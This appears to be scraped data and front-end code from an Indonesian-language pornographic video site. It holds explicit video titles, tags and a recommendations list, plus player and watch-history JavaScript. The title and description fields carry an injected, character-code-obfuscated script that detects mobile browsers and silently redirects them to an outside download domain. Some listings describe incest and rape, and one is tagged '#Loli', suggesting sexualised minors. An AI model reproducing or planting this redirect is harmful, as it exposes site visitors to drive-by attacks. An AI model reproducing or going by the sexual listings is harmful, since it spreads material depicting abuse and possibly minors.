</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Diintip saat masturbasi dan terlibat dalam perselingkuhan terlarang, seorang menantu perempuan cantik dan seksi mencapai orgasme oleh ayah mertuanya yang tidak disukai. Tubuhnya yang tidak puas bereaksi... Hatsune Miku, Hatsune Minori, Karuma
Diintip saat masturbasi dan terlibat dalam perselingkuhan terlarang, seorang menantu perempuan cantik dan seksi mencapai orgasme oleh ayah mertuanya yang tidak disukai. Tubuhnya yang tidak puas bereaksi... Hatsune Miku, Hatsune Minori, Karuma","site_id":0,"video_url":"https://2605.v155p.com/20260617/d0U4H6Xz/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMzM3MjcwYTIwMjZhMDI2MTdmMDk2N2EwOTRmMDI1MjMuanBn.cache","duration":"02:02:13","actor":[],"lastmod":1783766805,"rating":"3.0","view_count":180,"description":"Seorang menantu perempuan cantik dan bertubuh seksi, yang diintip saat masturbasi dan terlibat dalam perselingkuhan terlarang, mencapai orgasme oleh ayah mertuanya yang tidak disukainya. Tubuhnya yang tidak puas bereaksi... Hatsune Minori Karuma","tag":["mengintip","Mengintip saat masturbasi","onani","inses","di lokasi","Tidak disukai","Membenci","Ayah mertua","klimaks","payudara besar yang indah","payudara besar","Menantu perempuan berpayudara besar","menantu perempuan","Menginginkan","Tdk puas","tidak puas","daging","reaksi","Hatsune","Hatsune Miku"],"site_url":"176560","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["强奸乱伦"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMzM3MjcwYTIwMjZhMDI2MTdmMDk2N2EwOTRmMDI1MjMuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"被偷看自慰和不伦现场 被讨厌公公搞到高潮的美巨乳媳妇 欲求不满的肉体起了反应…初音实 初音みのり カルマ","s_keywords":"被偷看自慰和不伦现场 被讨厌公公搞到高潮的美巨乳媳妇 欲求不满的肉体起了反应…初音实 初音みのり カルマ","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Diintip saat masturbasi dan terlibat dalam perselingkuhan terlarang, seorang menantu perempuan cantik dan seksi mencapai orgasme oleh ayah mertuanya yang tidak disukai. Tubuhnya yang tidak puas bereaksi... Hatsune Miku, Hatsune Minori, Karuma","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjEwYzgwYmZhYjljOTM1ZGE2MDk2NjM0MzI2NjMwZjIuanBn.cache","vod_id":18959196,"title":"MEYD-370 Reiko Sawamura berpantang seks selama satu tahun dua bulan, tetapi setelah berulang kali digoda dan dicegah mencapai orgasme, naluri kewanitaan dewasanya dan hasrat buasnya terbangun, memaksanya melakukan hubungan seks yang terus menerus menghasilkan orgasme.","lastmod":"2025-12-14","duration":"02:54:55","url":"/play/18959196.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMWM1NzkzMzBiMjQxNmQyNTA3OTlmYjQ0Yzc0YjYwMzkuanBn.cache","vod_id":19148580,"title":"Qiqi, seorang gadis cantik yang mengantuk, bermasturbasi dan mengeluarkan cairan, vagina kecilnya yang nakal terasa sangat nikmat.","lastmod":"2026-03-16","duration":"28:32","url":"/play/19148580.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODlmMTAwZmYwNTRkMGNlMjhmYmEzMjQ1M2U1OTYwM2QuanBn.cache","vod_id":18984403,"title":"[Subtitle Bahasa Mandarin] MIDV-462 Kebangkitan dengan Menghisap! Menjilat penis, testis, dan anus Anda hingga Anda mengalami beberapa orgasme, oleh Hina Kuno.","lastmod":"2025-12-14","duration":"02:01:35","url":"/play/18984403.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGU3MDI5YjQ3NWE4ZjUxMDdlMmFkNTY5MTllYTcwYWMuanBn.cache","vod_id":18978697,"title":"HMN-370: Mahasiswi saya yang bertubuh seksi, yang menjadi pengasuh saya, menempelkan payudaranya ke tubuh saya setiap hari dan melakukan penetrasi pada saya. (Walnut Cherry Blossom)","lastmod":"2025-03-23","duration":"01:56:47","url":"/play/18978697.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MjYvN2VjZTI0MjBlZTY2YWI3ZTE5N2UxNGQ5Njc1NmMyNjIuanBn.cache","vod_id":19054279,"title":"Kaori (20 tahun), seorang perawan sejati, selalu tersipu malu dengan payudara besar dan cairan kental. Aktris tak dikenal HAZU018","lastmod":"2025-09-25","duration":"01:50:01","url":"/play/19054279.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWEwNmM4Njk1NmQ1ZGExYjdjOGQyNzUzMTRhZmNiMDIuanBn.cache","vod_id":18957050,"title":"VOSS-078 Setelah pacarku memutuskan hubungan, ibuku merasa kasihan padaku, jadi kami berhubungan seks, dan dia berjanji akan menggunakan kondom! Tidak ada reaksi setelah menggunakan kondom.","lastmod":"2025-03-22","duration":"01:51:21","url":"/play/18957050.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWJkZTFlNGZhYTQ3ZjZlNWI2ZGYwYWI0M2YxN2U0YmEuanBn.cache","vod_id":18947576,"title":"[Subtitle Bahasa Mandarin] SUPA-486 Amatir Berpayudara Besar Ukuran G (19 tahun) Rekaman Pribadi Sepenuhnya","lastmod":"2025-03-22","duration":"02:31:25","url":"/play/18947576.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWE2ODFlMzJmNWYwODBlYzM0YmE1YWI1M2I5Yzc2N2IuanBn.cache","vod_id":18931603,"title":"ATID-241 Era Romantis yang Kejam Episode 2: Klimaks Tragis Perbudakan - Boneka - Erina Fujisaki","lastmod":"2025-12-14","duration":"03:01:24","url":"/play/18931603.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2JjZDgxNGFhYWZhMDU3OGZiMmEyNzZkZDYzOWI1MjMuanBn.cache","vod_id":18928035,"title":"Platform \"Little Cute\" (sebelumnya Kawaii) menampilkan wanita-wanita menarik dengan tubuh yang menggoda yang terlibat dalam pertunjukan masturbasi penuh gairah yang sangat memikat.","lastmod":"2025-12-14","duration":"00:52:31","url":"/play/18928035.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODA5Zjk3MTc2NWJlZTdiZjRhYmJkYTI5NWE1YzQ0ZWYuanBn.cache","vod_id":18949234,"title":"Selebriti internet bermata besar dengan tubuh supermodel bermasturbasi telanjang, menari dan melebarkan kakinya saat masturbasi.","lastmod":"2025-12-14","duration":"00:40:12","url":"/play/18949234.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDdkYmE5NDJkYzU3N2E2NzVlMWU5ZmRhZWVkMmFhZDMuanBn.cache","vod_id":18976876,"title":"Seorang wanita dewasa berambut panjang mandi di kamar mandi; kakinya yang panjang sungguh memikat. Pacarnya, setelah melihat wajahnya, tak kuasa menahan diri untuk memotret seluruh tubuhnya sambil menjilati vulvanya, menggunakan alat bantu masturbasi, dan melakukan seks oral di toilet.","lastmod":"2025-12-14","duration":"00:37:32","url":"/play/18976876.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDc3MmNiNTgwYWQ4ZGFmMzRlZTljOWE5MmZhMjM5NjYuanBn.cache","vod_id":18948128,"title":"[Subtitle Bahasa Mandarin] SUPA-481 Amatir Berpayudara I-cup (19 tahun) syuting pribadi sepenuhnya","lastmod":"2025-12-14","duration":"02:29:53","url":"/play/18948128.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly8xNTI2MDMwOXAudG9wLzIwMjYwMzEyL0Nma1hSbmt0LzEuanBn.cache","vod_id":19148085,"title":"Pasangan lesbian - Dia gemetar dan mencapai klimaks dari belakang sambil diperlakukan kasar - Rekaman pribadi","lastmod":"2026-03-13","duration":"09:05","url":"/play/19148085.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmVkZWIyOTJlMTkzMTgyMjViODA3ODlmN2MyNTI2MjYuanBn.cache","vod_id":19008158,"title":"Seorang wanita muda bertubuh seksi dengan stoking hitam dengan lembut memijat kaki Anda untuk membantu Anda berejakulasi.","lastmod":"2025-03-24","duration":"15:20","url":"/play/19008158.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODlhOTc5M2IyY2Q0MDExYTU1NTAyYmM4MmJmMmIzMjEuanBn.cache","vod_id":18945321,"title":"[Subtitle Bahasa Mandarin] KIL-052 Pijat Peremajaan Kulit Cabul Berkecepatan Penuh dari Pakar Payudara Besar","lastmod":"2025-12-14","duration":"02:07:36","url":"/play/18945321.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWQyNzRkYjQ5NjAxOGQwMmQwYmMzZDc3NDlmOWZjMDYuanBn.cache","vod_id":19002000,"title":"Masturbasi wanita berkualitas tinggi #Loli","lastmod":"2025-03-23","duration":"05:07","url":"/play/19002000.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWZkMmI1ZGZlYTM0MTJjNTk2NGEwMDJlMjkxNTc0MTIuanBn.cache","vod_id":19004414,"title":"Dia membalas dendam pada rekannya dengan memperkosa istrinya yang bertubuh seksi di depannya.","lastmod":"2025-03-23","duration":"17:39","url":"/play/19004414.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTEvYmI4MjRlNTJhYjVhM2JkZTUwYTNiNjRiYjhlY2Q5NzcuanBn.cache","vod_id":19052029,"title":"Di kamp pelatihan, seorang junior bertubuh seksi memikatnya ke sebuah tempat persembunyian dan mereka berbagi kamar, yang berujung pada pertemuan penuh gairah. Dia menjilat payudara junior yang berkeringat dan berejakulasi di dalam dirinya berulang kali! (Azumi Amatsuki PPPE289)","lastmod":"2025-09-10","duration":"02:00:19","url":"/play/19052029.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGViNmNjOGJjMmUzMTdmM2U2MjZmMDkwYTQ3NTlkYjQuanBn.cache","vod_id":19025842,"title":"WANZ840 Seorang gadis dengan orgasme terus-menerus dan perasaan melayang tinggi, seluruh tubuhnya penuh dengan zona erotis. Dia memulai debutnya di AV dengan kejang dan orgasme tanpa henti. Dia memiliki tubuh yang sangat sensitif dan pikirannya benar-benar kosong... Hikari Hikari.","lastmod":"2025-03-24","duration":"01:59:32","url":"/play/19025842.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmU1ZjU4NmUxZDRjYjEyY2QwMTg0MTY3NTgyOTFlZjguanBn.cache","vod_id":19002673,"title":"Setan Daging (Dyavolvoploti, 1986) DVDRip 480P Bahasa Prancis dengan subtitle Mandarin","lastmod":"2025-03-23","duration":"01:55:10","url":"/play/19002673.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjI0MDZhODVhNDVhY2IxMTJjYjFhN2NlNDFlYTZjZTguanBn.cache","vod_id":18950138,"title":"Wanita di atas, bodysuit stoking hitam, masturbasi dengan alat bantu, wanita di atas, tanpa kondom, dorongan, erangan menggoda.","lastmod":"2025-12-14","duration":"01:41:09","url":"/play/18950138.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvZDBiZmQ1NDJhNjhiM2M5ZGM1ZGU0OGVhN2E4MzZjMzUuanBn.cache","vod_id":19167900,"title":"TPPN-118 Perbudakan batang baja dan orgasme yang luar biasa Mizuno Asahi, Ito Mao, Hoshizora Kiyoshi Lahaina Tokai","lastmod":"2026-07-12","duration":"02:45:38","url":"/play/19167900.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDk4Y2ZlMWIzOTc4OThjMGE4NThlNTI1NmQ3MmM2ODEuanBn.cache","vod_id":18949215,"title":"AP-707 Terpaksa melakukan hubungan seks dengan pasangan lesbian yang membenci pria! Anggota klubku membenciku, jadi aku selalu diejek dan diperlakukan seperti kurir! Bahkan selama kamp pelatihan klub kami di resor spa...","lastmod":"2025-12-14","duration":"02:32:49","url":"/play/18949215.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzg3Mzc1MmQyMjExZjUzZGFjMjRmOTFiY2RiYmVjYzYuanBn.cache","vod_id":18973464,"title":"[Subtitle Bahasa Mandarin] HMN-370 Mahasiswi saya yang montok telah menjadi pembantu rumah tangga saya. Sekarang saya menekan payudaranya erat-erat ke tubuhnya dan melakukan hubungan seks cream pie dengannya, membuatnya mencapai orgasme berulang kali. Sakura Kurumi","lastmod":"2025-12-14","duration":"01:56:26","url":"/play/18973464.html"}]},
videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Diintip saat masturbasi dan terlibat dalam perselingkuhan terlarang, seorang menantu perempuan cantik dan seksi mencapai orgasme oleh ayah mertuanya yang tidak disukai. Tubuhnya yang tidak puas bereaksi... Hatsune Miku, Hatsune Minori, Karuma',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}